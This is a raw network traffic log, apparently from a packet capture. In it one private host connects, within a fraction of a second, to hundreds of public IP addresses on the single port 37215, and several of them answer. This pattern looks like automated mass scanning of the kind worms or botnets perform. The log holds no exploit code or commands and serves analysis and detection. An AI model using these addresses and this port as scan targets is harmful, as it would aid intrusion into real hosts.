Aug 6, 2024 08:32:57.838586092 CEST	39440	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.838586092 CEST	39440	37215	192.168.2.14	197.116.99.16
Aug 6, 2024 08:32:57.838586092 CEST	54302	37215	192.168.2.14	156.246.176.160
Aug 6, 2024 08:32:57.838586092 CEST	40592	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.838586092 CEST	40592	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.838586092 CEST	35260	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.838591099 CEST	57336	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.838593960 CEST	60052	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.838599920 CEST	57848	37215	192.168.2.14	197.141.165.224
Aug 6, 2024 08:32:57.838607073 CEST	52938	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.838608980 CEST	55158	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.838618040 CEST	33008	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.838618994 CEST	41104	37215	192.168.2.14	197.205.58.249
Aug 6, 2024 08:32:57.838637114 CEST	37215	35352	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:57.838646889 CEST	37215	43454	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:57.838654995 CEST	37215	56762	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:57.838666916 CEST	37215	37080	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:57.838669062 CEST	55670	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.838671923 CEST	55158	37215	192.168.2.14	156.209.183.183
Aug 6, 2024 08:32:57.838671923 CEST	37152	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.838671923 CEST	37152	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.838680029 CEST	37215	53622	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:57.838685036 CEST	37215	38460	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:57.838720083 CEST	37664	37215	192.168.2.14	41.235.232.193
Aug 6, 2024 08:32:57.838720083 CEST	39430	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.838720083 CEST	35352	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.838720083 CEST	39430	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.838721037 CEST	43454	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.838726997 CEST	39942	37215	192.168.2.14	41.47.235.221
Aug 6, 2024 08:32:57.838732958 CEST	57354	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.838732958 CEST	57354	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.838737011 CEST	56762	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.838745117 CEST	37080	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.838758945 CEST	38460	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.838758945 CEST	57866	37215	192.168.2.14	41.34.23.164
Aug 6, 2024 08:32:57.838769913 CEST	53622	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.838769913 CEST	35618	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.838769913 CEST	35618	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.838790894 CEST	36130	37215	192.168.2.14	197.203.208.42
Aug 6, 2024 08:32:57.838804960 CEST	49550	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.838804960 CEST	49550	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.838823080 CEST	50062	37215	192.168.2.14	156.146.138.56
Aug 6, 2024 08:32:57.838912010 CEST	48692	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.838912010 CEST	60280	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.838915110 CEST	48180	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.838915110 CEST	48180	37215	192.168.2.14	156.28.212.86
Aug 6, 2024 08:32:57.838915110 CEST	59768	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.838915110 CEST	59768	37215	192.168.2.14	156.135.80.58
Aug 6, 2024 08:32:57.838917971 CEST	48874	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.838927031 CEST	59090	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.838927031 CEST	59090	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.838939905 CEST	48874	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.838958025 CEST	49386	37215	192.168.2.14	197.183.103.104
Aug 6, 2024 08:32:57.838978052 CEST	49624	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.838978052 CEST	49624	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.838994980 CEST	59602	37215	192.168.2.14	41.244.209.174
Aug 6, 2024 08:32:57.839004993 CEST	50136	37215	192.168.2.14	197.150.29.200
Aug 6, 2024 08:32:57.839046001 CEST	48692	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.839047909 CEST	48180	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.839049101 CEST	44956	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.839047909 CEST	48180	37215	192.168.2.14	156.94.250.60
Aug 6, 2024 08:32:57.839063883 CEST	44956	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.839076996 CEST	45468	37215	192.168.2.14	156.95.131.110
Aug 6, 2024 08:32:57.839086056 CEST	53066	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.839086056 CEST	53066	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.839108944 CEST	53578	37215	192.168.2.14	41.164.18.227
Aug 6, 2024 08:32:57.839126110 CEST	43764	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.839126110 CEST	43764	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.839148998 CEST	44276	37215	192.168.2.14	197.31.205.62
Aug 6, 2024 08:32:57.839153051 CEST	37024	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.839169025 CEST	37024	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.839246988 CEST	46870	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.839246988 CEST	46870	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.839253902 CEST	37536	37215	192.168.2.14	41.241.47.76
Aug 6, 2024 08:32:57.839257956 CEST	47382	37215	192.168.2.14	197.21.237.243
Aug 6, 2024 08:32:57.839262009 CEST	43418	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.839262009 CEST	48930	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.839272976 CEST	49442	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.839292049 CEST	47526	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.839293003 CEST	47526	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.839296103 CEST	48930	37215	192.168.2.14	197.210.183.23
Aug 6, 2024 08:32:57.839309931 CEST	48038	37215	192.168.2.14	41.210.226.180
Aug 6, 2024 08:32:57.839325905 CEST	60754	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.839325905 CEST	60754	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.839349031 CEST	33034	37215	192.168.2.14	41.162.103.68
Aug 6, 2024 08:32:57.839349985 CEST	42906	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.839349985 CEST	42906	37215	192.168.2.14	156.45.179.57
Aug 6, 2024 08:32:57.839376926 CEST	50906	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.839376926 CEST	50906	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.839391947 CEST	51418	37215	192.168.2.14	197.144.79.247
Aug 6, 2024 08:32:57.839427948 CEST	56378	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.839484930 CEST	58022	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.839484930 CEST	58022	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.839493990 CEST	56890	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.839493990 CEST	53988	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.839493990 CEST	42878	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.839493990 CEST	42878	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.839498043 CEST	56378	37215	192.168.2.14	41.242.140.238
Aug 6, 2024 08:32:57.839498043 CEST	58534	37215	192.168.2.14	197.203.159.212
Aug 6, 2024 08:32:57.839498043 CEST	53476	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.839498043 CEST	53476	37215	192.168.2.14	156.99.80.91
Aug 6, 2024 08:32:57.839538097 CEST	43390	37215	192.168.2.14	41.217.111.255
Aug 6, 2024 08:32:57.839538097 CEST	48730	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.839538097 CEST	48730	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.839598894 CEST	44050	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.839598894 CEST	44050	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.839601994 CEST	49242	37215	192.168.2.14	41.48.241.76
Aug 6, 2024 08:32:57.839602947 CEST	47992	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.839607000 CEST	47480	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.839607000 CEST	44562	37215	192.168.2.14	41.96.167.241
Aug 6, 2024 08:32:57.839607000 CEST	47480	37215	192.168.2.14	41.113.66.102
Aug 6, 2024 08:32:57.839616060 CEST	51574	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.839668036 CEST	51574	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.839678049 CEST	52086	37215	192.168.2.14	41.187.38.232
Aug 6, 2024 08:32:57.839680910 CEST	40758	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.839680910 CEST	40758	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.839680910 CEST	41270	37215	192.168.2.14	197.211.102.57
Aug 6, 2024 08:32:57.839711905 CEST	36966	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.839711905 CEST	36966	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.839723110 CEST	37478	37215	192.168.2.14	41.168.55.54
Aug 6, 2024 08:32:57.839756966 CEST	55082	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.839756966 CEST	55082	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.839766026 CEST	55594	37215	192.168.2.14	197.129.188.53
Aug 6, 2024 08:32:57.839787960 CEST	41964	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.839812994 CEST	41964	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.839813948 CEST	42476	37215	192.168.2.14	41.225.39.66
Aug 6, 2024 08:32:57.839813948 CEST	54184	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.839823961 CEST	54184	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.839899063 CEST	54696	37215	192.168.2.14	197.80.100.123
Aug 6, 2024 08:32:57.839899063 CEST	58000	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.839912891 CEST	40082	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.839915037 CEST	34594	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.839915991 CEST	39570	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.839917898 CEST	35106	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.839899063 CEST	58000	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.839915037 CEST	34594	37215	192.168.2.14	156.44.129.184
Aug 6, 2024 08:32:57.839915037 CEST	58512	37215	192.168.2.14	197.126.10.193
Aug 6, 2024 08:32:57.839915991 CEST	39570	37215	192.168.2.14	197.127.41.121
Aug 6, 2024 08:32:57.839942932 CEST	40100	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.839957952 CEST	39588	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.839957952 CEST	39588	37215	192.168.2.14	197.154.7.11
Aug 6, 2024 08:32:57.839976072 CEST	49078	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:57.839976072 CEST	49078	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:57.839994907 CEST	34584	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.839994907 CEST	34584	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.839998960 CEST	49590	37215	192.168.2.14	41.81.246.30
Aug 6, 2024 08:32:57.840013027 CEST	35096	37215	192.168.2.14	197.241.182.112
Aug 6, 2024 08:32:57.840022087 CEST	34070	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.840022087 CEST	34070	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.840045929 CEST	34582	37215	192.168.2.14	41.38.241.60
Aug 6, 2024 08:32:57.840058088 CEST	35148	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.840058088 CEST	35148	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.840075016 CEST	35660	37215	192.168.2.14	197.193.18.117
Aug 6, 2024 08:32:57.840091944 CEST	43274	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.840091944 CEST	43274	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.840162992 CEST	43786	37215	192.168.2.14	41.31.137.85
Aug 6, 2024 08:32:57.840171099 CEST	60306	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.840177059 CEST	59800	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.840177059 CEST	59800	37215	192.168.2.14	41.164.8.110
Aug 6, 2024 08:32:57.840181112 CEST	41462	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.840181112 CEST	41462	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.840182066 CEST	41968	37215	192.168.2.14	41.106.36.243
Aug 6, 2024 08:32:57.840271950 CEST	44628	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.840274096 CEST	45144	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.840271950 CEST	44628	37215	192.168.2.14	41.15.163.226
Aug 6, 2024 08:32:57.840291023 CEST	43292	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.840291023 CEST	43292	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.840312004 CEST	43808	37215	192.168.2.14	41.33.222.0
Aug 6, 2024 08:32:57.840337992 CEST	54038	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.840337992 CEST	54038	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.840342999 CEST	54554	37215	192.168.2.14	197.56.49.46
Aug 6, 2024 08:32:57.840358019 CEST	56460	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.840358019 CEST	56460	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.840373039 CEST	56972	37215	192.168.2.14	41.81.241.106
Aug 6, 2024 08:32:57.840377092 CEST	56346	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.840384960 CEST	56346	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.840405941 CEST	56858	37215	192.168.2.14	197.182.131.25
Aug 6, 2024 08:32:57.840405941 CEST	55556	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.840461016 CEST	55556	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.840464115 CEST	56068	37215	192.168.2.14	197.125.42.65
Aug 6, 2024 08:32:57.840465069 CEST	59714	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.840465069 CEST	59714	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.840527058 CEST	60226	37215	192.168.2.14	197.184.42.189
Aug 6, 2024 08:32:57.840537071 CEST	37162	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.840537071 CEST	37162	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.840540886 CEST	34248	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.840540886 CEST	40264	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.840575933 CEST	40264	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.840598106 CEST	45460	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.840596914 CEST	33736	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.840598106 CEST	45460	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.840596914 CEST	33736	37215	192.168.2.14	156.85.171.206
Aug 6, 2024 08:32:57.840596914 CEST	37674	37215	192.168.2.14	41.102.17.195
Aug 6, 2024 08:32:57.840600967 CEST	40776	37215	192.168.2.14	41.67.26.104
Aug 6, 2024 08:32:57.840603113 CEST	45972	37215	192.168.2.14	197.199.54.86
Aug 6, 2024 08:32:57.840625048 CEST	36302	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.840625048 CEST	36302	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.840648890 CEST	36814	37215	192.168.2.14	156.243.95.77
Aug 6, 2024 08:32:57.840742111 CEST	37426	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.840742111 CEST	37426	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.840768099 CEST	37938	37215	192.168.2.14	41.138.94.83
Aug 6, 2024 08:32:57.840784073 CEST	35260	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.840784073 CEST	35260	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.840806007 CEST	35772	37215	192.168.2.14	156.83.38.198
Aug 6, 2024 08:32:57.840821028 CEST	52938	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.840821028 CEST	52938	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.840864897 CEST	60052	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.840864897 CEST	60052	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.840871096 CEST	53450	37215	192.168.2.14	197.91.152.70
Aug 6, 2024 08:32:57.840894938 CEST	60564	37215	192.168.2.14	156.35.207.34
Aug 6, 2024 08:32:57.840900898 CEST	33008	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.840900898 CEST	33008	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.840929985 CEST	35352	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.840939999 CEST	35352	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.840945959 CEST	33520	37215	192.168.2.14	156.91.153.27
Aug 6, 2024 08:32:57.840965986 CEST	35864	37215	192.168.2.14	156.197.209.77
Aug 6, 2024 08:32:57.840972900 CEST	43454	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.840974092 CEST	43454	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.840991020 CEST	43966	37215	192.168.2.14	41.7.6.195
Aug 6, 2024 08:32:57.841000080 CEST	56762	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.841025114 CEST	57274	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.841027021 CEST	56762	37215	192.168.2.14	197.77.215.2
Aug 6, 2024 08:32:57.841077089 CEST	53622	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.841077089 CEST	53622	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.841085911 CEST	54134	37215	192.168.2.14	197.106.150.96
Aug 6, 2024 08:32:57.841089964 CEST	37592	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.841099977 CEST	38460	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.841105938 CEST	38460	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.841154099 CEST	37080	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.841154099 CEST	37080	37215	192.168.2.14	41.89.22.189
Aug 6, 2024 08:32:57.841195107 CEST	38972	37215	192.168.2.14	41.96.213.218
Aug 6, 2024 08:32:57.841274023 CEST	37215	44302	156.99.124.37	192.168.2.14
Aug 6, 2024 08:32:57.841317892 CEST	44302	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.841345072 CEST	37215	49670	197.119.21.203	192.168.2.14
Aug 6, 2024 08:32:57.841379881 CEST	49670	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.841424942 CEST	44302	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.841449976 CEST	44302	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.841464043 CEST	44814	37215	192.168.2.14	156.99.124.37
Aug 6, 2024 08:32:57.841517925 CEST	49670	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.841517925 CEST	49670	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.841542006 CEST	50182	37215	192.168.2.14	197.119.21.203
Aug 6, 2024 08:32:57.841649055 CEST	37215	41024	156.5.65.103	192.168.2.14
Aug 6, 2024 08:32:57.841661930 CEST	37215	37666	197.79.169.4	192.168.2.14
Aug 6, 2024 08:32:57.841671944 CEST	37215	47718	197.150.61.72	192.168.2.14
Aug 6, 2024 08:32:57.841681957 CEST	37215	52588	41.89.37.118	192.168.2.14
Aug 6, 2024 08:32:57.841695070 CEST	41024	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.841701031 CEST	37666	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.841710091 CEST	47718	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.841710091 CEST	52588	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.841715097 CEST	37215	41740	156.138.84.192	192.168.2.14
Aug 6, 2024 08:32:57.841726065 CEST	37215	60240	41.67.110.230	192.168.2.14
Aug 6, 2024 08:32:57.841736078 CEST	37215	51722	156.60.205.144	192.168.2.14
Aug 6, 2024 08:32:57.841747046 CEST	37215	53354	41.206.96.163	192.168.2.14
Aug 6, 2024 08:32:57.841757059 CEST	37215	56304	156.226.194.179	192.168.2.14
Aug 6, 2024 08:32:57.841767073 CEST	37215	58810	41.175.207.136	192.168.2.14
Aug 6, 2024 08:32:57.841777086 CEST	37215	49632	41.99.246.34	192.168.2.14
Aug 6, 2024 08:32:57.841785908 CEST	37215	50104	41.139.158.191	192.168.2.14
Aug 6, 2024 08:32:57.841795921 CEST	37215	43240	41.180.58.253	192.168.2.14
Aug 6, 2024 08:32:57.841806889 CEST	37215	50328	156.210.44.233	192.168.2.14
Aug 6, 2024 08:32:57.841811895 CEST	37215	56768	197.229.186.220	192.168.2.14
Aug 6, 2024 08:32:57.841811895 CEST	41740	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.841811895 CEST	51722	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.841815948 CEST	37215	50696	197.201.238.246	192.168.2.14
Aug 6, 2024 08:32:57.841818094 CEST	56304	37215	192.168.2.14	156.226.194.179
Aug 6, 2024 08:32:57.841819048 CEST	41024	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.841819048 CEST	49632	37215	192.168.2.14	41.99.246.34
Aug 6, 2024 08:32:57.841820002 CEST	37215	55438	41.17.186.253	192.168.2.14
Aug 6, 2024 08:32:57.841819048 CEST	41024	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.841820955 CEST	60240	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.841820955 CEST	53354	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.841820955 CEST	58810	37215	192.168.2.14	41.175.207.136
Aug 6, 2024 08:32:57.841825008 CEST	37666	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.841825008 CEST	37666	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.841835022 CEST	37215	42256	197.170.123.35	192.168.2.14
Aug 6, 2024 08:32:57.841835976 CEST	50104	37215	192.168.2.14	41.139.158.191
Aug 6, 2024 08:32:57.841841936 CEST	38176	37215	192.168.2.14	197.79.169.4
Aug 6, 2024 08:32:57.841846943 CEST	37215	53042	41.85.183.189	192.168.2.14
Aug 6, 2024 08:32:57.841854095 CEST	43240	37215	192.168.2.14	41.180.58.253
Aug 6, 2024 08:32:57.841857910 CEST	37215	43042	156.234.152.134	192.168.2.14
Aug 6, 2024 08:32:57.841857910 CEST	50328	37215	192.168.2.14	156.210.44.233
Aug 6, 2024 08:32:57.841861010 CEST	55438	37215	192.168.2.14	41.17.186.253
Aug 6, 2024 08:32:57.841865063 CEST	42256	37215	192.168.2.14	197.170.123.35
Aug 6, 2024 08:32:57.841869116 CEST	56768	37215	192.168.2.14	197.229.186.220
Aug 6, 2024 08:32:57.841870070 CEST	37215	55402	197.132.30.188	192.168.2.14
Aug 6, 2024 08:32:57.841878891 CEST	50696	37215	192.168.2.14	197.201.238.246
Aug 6, 2024 08:32:57.841880083 CEST	37215	60530	197.52.174.50	192.168.2.14
Aug 6, 2024 08:32:57.841886044 CEST	53042	37215	192.168.2.14	41.85.183.189
Aug 6, 2024 08:32:57.841888905 CEST	55402	37215	192.168.2.14	197.132.30.188
Aug 6, 2024 08:32:57.841900110 CEST	43042	37215	192.168.2.14	156.234.152.134
Aug 6, 2024 08:32:57.841907978 CEST	41536	37215	192.168.2.14	156.5.65.103
Aug 6, 2024 08:32:57.841911077 CEST	60530	37215	192.168.2.14	197.52.174.50
Aug 6, 2024 08:32:57.841919899 CEST	47718	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.841919899 CEST	47718	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.841945887 CEST	48232	37215	192.168.2.14	197.150.61.72
Aug 6, 2024 08:32:57.841967106 CEST	60240	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.841967106 CEST	60240	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.842012882 CEST	51722	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.842012882 CEST	51722	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.842015982 CEST	60752	37215	192.168.2.14	41.67.110.230
Aug 6, 2024 08:32:57.842016935 CEST	52588	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.842016935 CEST	52588	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.842056036 CEST	41740	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.842056990 CEST	41740	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.842058897 CEST	52234	37215	192.168.2.14	156.60.205.144
Aug 6, 2024 08:32:57.842058897 CEST	53100	37215	192.168.2.14	41.89.37.118
Aug 6, 2024 08:32:57.842097998 CEST	37215	32984	197.198.169.113	192.168.2.14
Aug 6, 2024 08:32:57.842109919 CEST	37215	43498	41.158.83.113	192.168.2.14
Aug 6, 2024 08:32:57.842118979 CEST	37215	48858	197.194.34.222	192.168.2.14
Aug 6, 2024 08:32:57.842120886 CEST	42252	37215	192.168.2.14	156.138.84.192
Aug 6, 2024 08:32:57.842128992 CEST	37215	53150	156.196.237.33	192.168.2.14
Aug 6, 2024 08:32:57.842130899 CEST	32984	37215	192.168.2.14	197.198.169.113
Aug 6, 2024 08:32:57.842139959 CEST	37215	40218	41.225.151.149	192.168.2.14
Aug 6, 2024 08:32:57.842143059 CEST	48858	37215	192.168.2.14	197.194.34.222
Aug 6, 2024 08:32:57.842143059 CEST	43498	37215	192.168.2.14	41.158.83.113
Aug 6, 2024 08:32:57.842150927 CEST	37215	54878	41.84.239.116	192.168.2.14
Aug 6, 2024 08:32:57.842160940 CEST	37215	57036	197.125.78.47	192.168.2.14
Aug 6, 2024 08:32:57.842173100 CEST	37215	39722	41.9.222.229	192.168.2.14
Aug 6, 2024 08:32:57.842181921 CEST	37215	49902	156.177.204.221	192.168.2.14
Aug 6, 2024 08:32:57.842186928 CEST	53354	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.842187881 CEST	37215	46640	197.214.35.214	192.168.2.14
Aug 6, 2024 08:32:57.842189074 CEST	53150	37215	192.168.2.14	156.196.237.33
Aug 6, 2024 08:32:57.842186928 CEST	53354	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.842189074 CEST	53866	37215	192.168.2.14	41.206.96.163
Aug 6, 2024 08:32:57.842192888 CEST	37215	44336	156.216.133.161	192.168.2.14
Aug 6, 2024 08:32:57.842197895 CEST	37215	56894	41.75.95.48	192.168.2.14
Aug 6, 2024 08:32:57.842201948 CEST	37215	40960	197.158.198.40	192.168.2.14
